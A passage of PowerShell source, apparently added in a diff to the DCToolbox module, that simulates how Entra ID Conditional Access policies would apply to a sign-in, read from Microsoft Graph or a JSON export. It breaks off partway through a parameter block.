Invoke-DCConditionalAccessSimulation -JSONFile 'Conditional Access Backup.json' | Format-List + #> + + + + # ----- [Initializations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$JSONFile, + + [parameter(Mandatory = $false)] + [string]$UserPrincipalName = 'All', + + [parameter(Mandatory = $false)] + [string]$ApplicationDisplayName = 'All', + + [parameter(Mandatory = $false)] + [string]$UserAction, + + [parameter(Mandatory = $false)] + [ValidateSet('browser', 'mobileAppsAndDesktopClients', 'exchangeActiveSync', 'easSupported', 'other')] + [string]$ClientApp = 'browser', + + [parameter(Mandatory = $false)] + [switch]$TrustedIPAddress, + + [parameter(Mandatory = $false)] + [ValidateLength(2, 2)] + [string]$Country = ((Get-DCPublicIP).country), + + [parameter(Mandatory = $false)] + [ValidateSet('all', 'android', 'iOS', 'windows', 'windowsPhone', 'macOS', 'linux', 'spaceRocket')] + [string]$Platform = 'windows', + + [parameter(Mandatory = $false)] + [ValidateSet('none', 'low', 'medium', 'high')] + [string]$SignInRiskLevel = 'none', + + [parameter(Mandatory = $false)] + [ValidateSet('none', 'low', 'medium', 'high')] + [string]$UserRiskLevel = 'none', + + [parameter(Mandatory = $false)] + [switch]$SummarizedOutput, + + [parameter(Mandatory = $false)] + [switch]$VerbosePolicyEvaluation, + + [parameter(Mandatory = $false)] + [switch]$IncludeNonMatchingPolicies + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + $Policies = $null + + if ($JSONFile) { + $Policies = Get-Content -Path $JSONFile | ConvertFrom-Json + + if ($UserPrincipalName -ne 'GuestsOrExternalUsers') { + $UserPrincipalName = 'All' + } + } + else { + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.Read.ConditionalAccess', 'Policy.Read.All', 'User.Read.All' -Verbose + + + # Get all existing policies. + Write-Verbose -Verbose -Message "Fetching Conditional Access policies..." + $Policies = Get-MgIdentityConditionalAccessPolicy + } + + + # Set conditions to simulate. + + Write-Verbose -Verbose -Message "Simulating Conditional Access evaluation..." + + $CustomObject = New-Object -TypeName psobject + + + # User. + $UserId = (Get-MgUser -Filter "userPrincipalName eq '$UserPrincipalName'").Id + + if ($UserId) { + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserId" -Value $UserId + } + else { + if ($UserPrincipalName -eq 'GuestsOrExternalUsers') { + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserId" -Value 'GuestsOrExternalUsers' + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserId" -Value 'All' + } + } + + + # Groups. + $Groups = $null + + if ($UserId) { + $Groups = (Get-MgUserTransitiveMemberOf -UserId $UserId).Id + $CustomObject | Add-Member -MemberType NoteProperty -Name "Groups" -Value $Groups + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "Groups" -Value $null + } + + + #Application. + $AppId = $null + if ($ApplicationDisplayName -eq 'All') { + $AppId = 'All' + } + elseif ($ApplicationDisplayName -eq 'Office 365') { + $AppId = 'Office365' + } + elseif ($ApplicationDisplayName -eq 'Microsoft Admin Portals') { + $AppId = 'MicrosoftAdminPortals' + } + else { + $AppId = (Get-MGServicePrincipal -Filter "DisplayName eq '$ApplicationDisplayName'").AppId + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Application" -Value $AppId + + + # Client App (all, browser, mobileAppsAndDesktopClients, exchangeActiveSync, easSupported, other). + $CustomObject | Add-Member -MemberType NoteProperty -Name "ClientApp" -Value $ClientApp + + + # IP Address. + $CustomObject | Add-Member -MemberType NoteProperty -Name "TrustedIPAddress" -Value $TrustedIPAddress + + + # Country. + if ($Country -eq $null) { + $Country = 'All' + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Country" -Value $Country + + + # Platform (android, iOS, windows, windowsPhone, macOS, linux, all, unknownFutureValue). + $CustomObject | Add-Member -MemberType NoteProperty -Name "Platform" -Value $Platform + + + # Sign-in Risk Level (low, medium, high, none). + $CustomObject | Add-Member -MemberType NoteProperty -Name "SignInRiskLevel" -Value $SignInRiskLevel + + + # User Risk Level (low, medium, high, none). + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserRiskLevel" -Value $UserRiskLevel + + + $ConditionsToSimulate = $CustomObject + + + # Show conditions to test. + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message ($ConditionsToSimulate | Format-List | Out-String) } + + + + # Loop through all Conditional Access policies and test the current conditions. + $Result = foreach ($Policy in $Policies) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY EVALUATION: $($Policy.DisplayName)" } + + $CustomObject = New-Object -TypeName psobject + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Policy" -Value $Policy.DisplayName + + $GrantControls = $Policy.GrantControls | Select-Object AuthenticationStrength, Operator, BuiltInControls, TermsOfUse, CustomAuthenticationFactors + + try { + if ($GrantControls.authenticationStrength.id) { + $GrantControls.authenticationStrength = $true + } + else { + $GrantControls.authenticationStrength = $false + } + + $GrantControls = $GrantControls | ConvertTo-Json -Depth 10 + + $CustomObject | Add-Member -MemberType NoteProperty -Name "GrantControls" -Value $GrantControls + } + catch { + $CustomObject | Add-Member -MemberType NoteProperty -Name "GrantControls" -Value $GrantControls + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "SessionControls" -Value ($Policy.SessionControls | Select-Object ApplicationEnforcedRestrictions, CloudAppSecurity, DisableResilienceDefaults, PersistentBrowser, SignInFrequency | ConvertTo-Json) + + + $PolicyMatch = $true + $UserMatch = $false + $GroupMatch = $false + + + #Enabled + if ($Policy.State -eq 'enabled') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Enabled: APPLIED' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Enabled: NOT APPLIED' } + $PolicyMatch = $false + } + + + #ApplicationFilter + + + # ExcludeApplications: + if ($Policy.Conditions.Applications.ExcludeApplications -contains $ConditionsToSimulate.Application) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeApplications: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeApplications: APPLIED' } + } + + + #IncludeApplications + if ($Policy.Conditions.Applications.IncludeApplications -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: APPLIED' } + } + elseif ($Policy.Conditions.Applications.IncludeApplications -eq 'none') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: NOT APPLIED' } + $PolicyMatch = $false + } + elseif ($Policy.Conditions.Applications.IncludeApplications -notcontains $ConditionsToSimulate.Application) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: APPLIED' } + } + + + #IncludeUserActions + # + + + #ClientAppTypes + if ($Policy.Conditions.ClientAppTypes -eq 'all') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ClientAppTypes: APPLIED' } + } + elseif ($Policy.Conditions.ClientAppTypes -notcontains $ConditionsToSimulate.ClientApp) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ClientAppTypes: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ClientAppTypes: APPLIED' } + } + + + #DeviceFilter + # + + + #ExcludeLocationsIPAddress + if ($ConditionsToSimulate.TrustedIPAddress) { + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.ExcludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.isTrusted + } + } + + if ($TrustedLocation) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($JSONFile) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: APPLIED (JSON mode assumes not excluded)' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: APPLIED' } + } + } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: APPLIED' } + } + + + #ExcludeLocationsCountry + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.ExcludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.countriesAndRegions + } + } + + if ($TrustedLocation -contains $ConditionsToSimulate.Country) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsCountry: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($JSONFile -and $Policy.Conditions.Locations.ExcludeLocations) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsCountry: NOT APPLIED (JSON mode assumes excluded)' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsCountry: APPLIED' } + } + } + + + #IncludeLocationsIPAddress + $IncludeLocationsIPAddressMatch = $true + if ($Policy.Conditions.Locations.IncludeLocations -eq $null) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'AllTrusted' -and $ConditionsToSimulate.TrustedIPAddress) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + else { + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.IncludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.isTrusted + } + } + + $TrustedLocation = $TrustedLocation | Where-Object { $_ -eq $true } + + if ($TrustedLocation -and $ConditionsToSimulate.TrustedIPAddress) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + else { + if ($JSONFile) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED (JSON mode assumes included)' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: NOT APPLIED' } + $IncludeLocationsIPAddressMatch = $false + } + } + } + + + #IncludeLocationsCountry + $IncludeLocationsCountryMatch = $true + if ($Policy.Conditions.Locations.IncludeLocations -eq $null) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'AllTrusted') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + else { + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.IncludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.countriesAndRegions + } + } + + if ($TrustedLocation -contains $ConditionsToSimulate.Country) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + else { + if ($JSONFile) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED (JSON mode assumes included)' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: NOT APPLIED' } + $IncludeLocationsCountryMatch = $false + } + } + } + + if ($IncludeLocationsIPAddressMatch -eq $false -and $IncludeLocationsCountryMatch -eq $false) { + $PolicyMatch = $false + } + + + #ExcludePlatforms + if (($Policy.Conditions.Platforms.ExcludePlatforms).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: APPLIED' } + } + elseif ($Policy.Conditions.Platforms.ExcludePlatforms -eq 'all') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: NOT APPLIED' } + $PolicyMatch = $false + } + elseif ($Policy.Conditions.Platforms.ExcludePlatforms -contains $ConditionsToSimulate.Platform) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: APPLIED' } + } + + + #IncludePlatforms + if (($Policy.Conditions.Platforms.IncludePlatforms).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: APPLIED' } + } + elseif ($Policy.Conditions.Platforms.IncludePlatforms -eq 'all') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: APPLIED' } + } + elseif ($Policy.Conditions.Platforms.IncludePlatforms -contains $ConditionsToSimulate.Platform) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: APPLIED' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: NOT APPLIED' } + $PolicyMatch = $false + } + + + #SignInRiskLevels + if (($Policy.Conditions.SignInRiskLevels).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'SignInRiskLevels: APPLIED' } + } + elseif ($Policy.Conditions.SignInRiskLevels -notcontains $ConditionsToSimulate.SignInRiskLevel) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'SignInRiskLevels: NOT APPLIED' } + $PolicyMatch = $false + } + + + #UserRiskLevels + if (($Policy.Conditions.UserRiskLevels).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'UserRiskLevels: APPLIED' } + } + elseif ($Policy.Conditions.UserRiskLevels -notcontains $ConditionsToSimulate.UserRiskLevel) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'UserRiskLevels: NOT APPLIED' } + $PolicyMatch = $false + } + + + #ExcludeGroups + $ExcludeGroupsResult = 'ExcludeGroups: APPLIED' + + if (($Policy.Conditions.Users.ExcludeGroups).Count -eq 0) { + # + } + else { + foreach ($Group in $Policy.Conditions.Users.ExcludeGroups) { + if ($ConditionsToSimulate.Groups -contains $Group) { + $ExcludeGroupsResult = 'ExcludeGroups: NOT APPLIED' + break + } + } + } + + if ($ExcludeGroupsResult -eq 'ExcludeGroups: APPLIED') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $ExcludeGroupsResult } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $ExcludeGroupsResult } + $PolicyMatch = $false + } + + + #IncludeGroups + $IncludeGroupsResult = 'IncludeGroups: NOT APPLIED' + + if (($Policy.Conditions.Users.IncludeGroups).Count -eq 0) { + # + } + else { + foreach ($Group in $Policy.Conditions.Users.IncludeGroups) { + if ($ConditionsToSimulate.Groups -contains $Group) { + $IncludeGroupsResult = 'IncludeGroups: APPLIED' + break + } + } + } + + if ($IncludeGroupsResult -eq 'IncludeGroups: NOT APPLIED') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $IncludeGroupsResult } + $GroupMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $IncludeGroupsResult } + $GroupMatch = $true + } + + + #ExcludeGuestsOrExternalUsers + #IncludeGuestsOrExternalUsers + #ExcludeRoles + #IncludeRoles + + + #ExcludeUsers + if ($Policy.Conditions.Users.excludeGuestsOrExternalUsers.GuestOrExternalUserTypes -and $ConditionsToSimulate.UserId -eq 'GuestsOrExternalUsers') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeUsers: NOT APPLIED' } + $UserMatch = $false + } + elseif ($Policy.Conditions.Users.ExcludeUsers -contains $ConditionsToSimulate.UserId) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeUsers: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeUsers: APPLIED' } + } + + + #IncludeUsers + if ($Policy.Conditions.Users.IncludeUsers -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: APPLIED' } + $UserMatch = $true + } + elseif ($Policy.Conditions.Users.includeGuestsOrExternalUsers.GuestOrExternalUserTypes -and $ConditionsToSimulate.UserId -eq 'GuestsOrExternalUsers') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: APPLIED' } + $UserMatch = $true + } + elseif ($Policy.Conditions.Users.IncludeUsers -contains $ConditionsToSimulate.UserId) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: APPLIED' } + $UserMatch = $true + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: NOT APPLIED' } + $UserMatch = $false + } + + + if ($PolicyMatch) { + if ($GroupMatch -or $UserMatch) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY APPLIED: TRUE" } + $CustomObject | Add-Member -MemberType NoteProperty -Name "Match" -Value $true + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY APPLIED: FALSE" } + $CustomObject | Add-Member -MemberType NoteProperty -Name "Match" -Value $false + } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY APPLIED: FALSE" } + $CustomObject | Add-Member -MemberType NoteProperty -Name "Match" -Value $false + } + + + $CustomObject + + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message '' } + } + + + Write-Verbose -Verbose -Message "Results..." + + + if ($IncludeNonMatchingPolicies) { + $Result + } + else { + $Result | where Match -eq $true + } + + + if ($SummarizedOutput) { + $Enforcement = @((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).BuiltInControls | Select-Object -Unique) + + if ((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).AuthenticationStrength -eq $true) { + $Enforcement += 'authenticationStrength' + } + + if ((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).TermsOfUse | Select-Object -Unique) { + $Enforcement += 'termsOfUse' + } + + $CustomControls = ((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).CustomAuthenticationFactors | Select-Object -Unique) + + if ($CustomControls) { + $Enforcement += $CustomControls + } + + if ($Enforcement -contains 'block') { + $Enforcement = 'block' + } + + Write-Host '' + Write-Host -ForegroundColor Cyan 'Entra ID Sign-In test parameters:' + Write-Host -ForegroundColor Magenta ($ConditionsToSimulate | Format-List | Out-String) + + Write-Host -ForegroundColor Cyan 'Applied Conditional Access policies:' + + $AppliedPolicies = foreach ($Policy in ($Result | where Match -eq $True)) { + $EnforcementPerPolicy = @(($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).BuiltInControls | Select-Object -Unique) + + if (($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).AuthenticationStrength -eq $true) { + $EnforcementPerPolicy += 'authenticationStrength' + } + + if (($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).TermsOfUse | Select-Object -Unique) { + $EnforcementPerPolicy += 'termsOfUse' + } + + $CustomControls = (($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).CustomAuthenticationFactors | Select-Object -Unique) + + if ($CustomControls) { + $EnforcementPerPolicy += $CustomControls + } + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Policy" -Value ($Policy).Policy + + $Operator = ($Policy).GrantControls.Operator + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Operator" -Value ((($Policy).GrantControls | ConvertFrom-Json).Operator) + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Controls" -Value $EnforcementPerPolicy + $CustomObject + } + + Write-Host -ForegroundColor Magenta ($AppliedPolicies | Format-Table | Out-String) + + if (!($AppliedPolicies)) { + Write-Host -ForegroundColor DarkGray 'None' + Write-Host '' + Write-Host '' + } + + Write-Host -ForegroundColor Cyan "Enforced controls:" + + foreach ($Row in ($Enforcement -replace " ", "`n")) { + if ($Row -eq 'block') { + Write-Host -ForegroundColor Red $Row + } + else { + Write-Host -ForegroundColor Green $Row + } + } + + if (!($Enforcement)) { + Write-Host '' + Write-Host -ForegroundColor DarkGray 'No controls enforced :(' + Write-Host '' + } + + Write-Host '' + } + + + Write-Verbose -Verbose -Message "Done!" +} + +function Invoke-DCConditionalAccessSimulationWithDevices { + <# + .SYNOPSIS + Simulates the Entra ID Conditional Access evaluation process of a specific scenario. + + .DESCRIPTION + Uses Microsoft Graph to fetch all Entra ID Conditional Access policies. It then evaluates which policies that would have been applied if this was a real sign-in to Entra ID. Use the different parameters available to specify the conditions. Details are included under each parameter. + + .PARAMETER UserPrincipalName + The UPN of the simulated Entra ID user signing in. Can also be set to 'All' for all users, or 'GuestsOrExternalUsers' to test external user sign-in scenarios. Example: 'user@example.com'. Default: 'All'. + + .PARAMETER JSONFile + Only use this parameter if you want to analyze a local JSON file export of Conditional Access polices, instead of a live tenant. Point it to the local JSON file. Export JSON with Export-DCConditionalAccessPolicyDesign (or any other tool exporting Conditional Access policies from Microsoft Graph to JSON), like 'Entra Exporter'. + + .PARAMETER ApplicationDisplayName + The display name of the application targeted by Conditional Access policies (same display name as in Entra ID Portal when creating Conditional Access policies). Example 1: 'Office 365'. Example 2: 'Microsoft Admin Portals'. Default: 'All'. + + .PARAMETER UserAction + Under construction... + + .PARAMETER ClientApp + The client app type used during sign-in. Possible values: 'browser', 'mobileAppsAndDesktopClients', 'exchangeActiveSync', 'easSupported', 'other'. Default: 'browser' + + .PARAMETER TrustedIPAddress + Specify if the simulated sign-in comes from a trusted IP address (marked as trusted in Named Locations)? $true or $false? Don't specify the actual IP address. That is not really that important when simulating policy evaluation. Default: $false + + .PARAMETER Country + The country code for the sign-in country of origin based on IP address geo data. By default, this script tries to resolve the IP address of the current PowerShell session. + + .PARAMETER Platform + Specify the OS platform of the client signing in. Possible values: 'all', 'android', 'iOS', 'windows', 'windowsPhone', 'macOS', 'linux', 'spaceRocket'. Default: 'windows' + + .PARAMETER SignInRiskLevel + Specify the Entra ID Protection sign-in risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none' + + .PARAMETER UserRiskLevel + Specify the Entra ID Protection user risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none' + + .PARAMETER SummarizedOutput + By default, this script returns PowerShell objects representing all applied Conditional Access policies only. This can be used for piping to other tools, etc. But sometimes you also want a simple answer of what would happen during the simulated policy evaluation. Specify this parameter to add a summarized and simplified output (outputs to 'Informational' stream with Write-Host). + + .PARAMETER VerbosePolicyEvaluation + Include detailed verbose policy evaluation info. Use for troubleshooting and debugging. + + .PARAMETER IncludeNonMatchingPolicies + Also, include all policies that did not match, and therefor was not applied. This can be useful to produce different kinds of Conditional Access reports. + + .PARAMETER DeviceID + DEVICEID + + .PARAMETER DisplayName + DisplayName + + .PARAMETER DeviceOwnership + DeviceOwnership + + .PARAMETER EnrollmentProfileName + EnrollmentProfileName + + .PARAMETER IsCompliant + IsCompliant + + .PARAMETER Manufacturer + Manufacturer + + .PARAMETER MdmAppId + MdmAppId + + .PARAMETER Model + Model + + .PARAMETER OperatingSystem + OperatingSystem + + .PARAMETER OperatingSystemVersion + OperatingSystemVersion + + .PARAMETER PhysicalIds + PhysicalIds + + .PARAMETER ProfileType + ProfileType + + .PARAMETER SystemLabels + SystemLabels + + .PARAMETER TrustType + TrustType + + .PARAMETER ExtensionAttribute1 + ExtensionAttribute1 + + .PARAMETER ExtensionAttribute2 + ExtensionAttribute2 + + .PARAMETER ExtensionAttribute3 + ExtensionAttribute3 + + .PARAMETER ExtensionAttribute4 + ExtensionAttribute4 + + .PARAMETER ExtensionAttribute5 + ExtensionAttribute5 + + .PARAMETER ExtensionAttribute6 + ExtensionAttribute6 + + .PARAMETER ExtensionAttribute7 + ExtensionAttribute7 + + .PARAMETER ExtensionAttribute8 + ExtensionAttribute8 + + .PARAMETER ExtensionAttribute9 + ExtensionAttribute9 + + .PARAMETER ExtensionAttribute10 + ExtensionAttribute10 + + .PARAMETER ExtensionAttribute11 + ExtensionAttribute11 + + .PARAMETER ExtensionAttribute12 + ExtensionAttribute12 + + .PARAMETER ExtensionAttribute13 + ExtensionAttribute13 + + .PARAMETER ExtensionAttribute14 + ExtensionAttribute14 + + .PARAMETER ExtensionAttribute15 + ExtensionAttribute15 + + .INPUTS + None + + .OUTPUTS + Simulated Conditional Access evaluation results + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + # Run basic evaluation with default settings. + Invoke-DCConditionalAccessSimulationWithDevices | Format-List + + .EXAMPLE + # Run evaluation with custom settings. + $Parameters = @{ + UserPrincipalName = 'user@example.com' + ApplicationDisplayName = 'Office 365' + ClientApp = 'mobileAppsAndDesktopClients' + TrustedIPAddress = $true + Country = 'US' + Platform = 'windows' + SignInRiskLevel = 'medium' + UserRiskLevel = 'high' + SummarizedOutput = $true + VerbosePolicyEvaluation = $false + IncludeNonMatchingPolicies = $false + DeviceID = 'device123' + DisplayName = 'testDevice01' + DeviceOwnership = 'personal' + EnrollmentProfileName = 'corporateEnrollment' + IsCompliant = $true + Manufacturer = 'contoso' + MdmAppId = 'app123' + Model = 'surfacePro7' + OperatingSystem = 'windows' + OperatingSystemVersion = '10.0.1945' + PhysicalIds = 'systemSKU:1259' + ProfileType = 'printer' + SystemLabels = 'cloudPC' + TrustType = 'Microsoft Entra hybrid joined' + ExtensionAttribute1 = 'customText' + } + + Invoke-DCConditionalAccessSimulationWithDevices @Parameters + + .EXAMPLE + # Run basic evaluation offline against a JSON of Conditional Access policies. + Invoke-DCConditionalAccessSimulation -JSONFile 'Conditional Access Backup.json' | Format-List + #> + + + + # ----- [Initializations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$JSONFile, + + [parameter(Mandatory = $false)] + [string]$UserPrincipalName = 'All', + + [parameter(Mandatory = $false)] + [string]$ApplicationDisplayName = 'All', + + [parameter(Mandatory = $false)] + [string]$UserAction, + + [parameter(Mandatory = $false)] + [ValidateSet('browser', 'mobileAppsAndDesktopClients', 'exchangeActiveSync', 'easSupported', 'other')] + [string]$ClientApp = 'browser', + + [parameter(Mandatory = $false)] + [switch]$TrustedIPAddress, + + [parameter(Mandatory = $false)] + [ValidateLength(2, 2)] + [string]$Country = ((Get-DCPublicIP).country), + + [parameter(Mandatory = $false)] + [ValidateSet('all', 'android', 'iOS', 'windows', 'windowsPhone', 'macOS', 'linux', 'spaceRocket')] + [string]$Platform = 'windows', + + [parameter(Mandatory = $false)] + [ValidateSet('none', 'low', 'medium', 'high')] + [string]$SignInRiskLevel = 'none', + + [parameter(Mandatory = $false)] + [ValidateSet('none', 'low', 'medium', 'high')] + [string]$UserRiskLevel = 'none', + + [parameter(Mandatory = $false)] + [switch]$SummarizedOutput, + + [parameter(Mandatory = $false)] + [switch]$VerbosePolicyEvaluation, + + [parameter(Mandatory = $false)] + [switch]$IncludeNonMatchingPolicies, + + [parameter(Mandatory = $false)] + [string]$DeviceID, + + [parameter(Mandatory = $false)] + [string]$DisplayName, + + [parameter(Mandatory = $false)] + [ValidateSet('personal', 'company')] + [string]$DeviceOwnership, + + [parameter(Mandatory = $false)] + [string]$EnrollmentProfileName, + + [parameter(Mandatory = $false)] + [ValidateSet('true', 'false')] + [string]$IsCompliant, + + [parameter(Mandatory = $false)] + [string]$Manufacturer, + + [parameter(Mandatory = $false)] + [string]$MdmAppId, + + [parameter(Mandatory = $false)] + [string]$Model, + + [parameter(Mandatory = $false)] + [string]$OperatingSystem, + + [parameter(Mandatory = $false)] + [string]$OperatingSystemVersion, + + [parameter(Mandatory = $false)] + [string]$PhysicalIds, + + [parameter(Mandatory = $false)] + [ValidateSet('registeredDevice', 'secureVM', 'printer', 'shared', 'ioT')] + [string]$ProfileType, + + [parameter(Mandatory = $false)] + [ValidateSet('azureResource', 'azureVirtualDesktop', 'cloudPC', 'M365Managed', 'MDEJoined', 'MDEManaged', 'microsoftPrintServiceConnector', 'multiUser', 'printerAllInOne', 'printerStandard', 'printer3D', 'scannerStandard')] + [string]$SystemLabels, + + [parameter(Mandatory = $false)] + [ValidateSet('AzureAD', 'ServerAD', 'Workplace')] + [string]$TrustType, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute1, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute2, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute3, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute4, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute5, 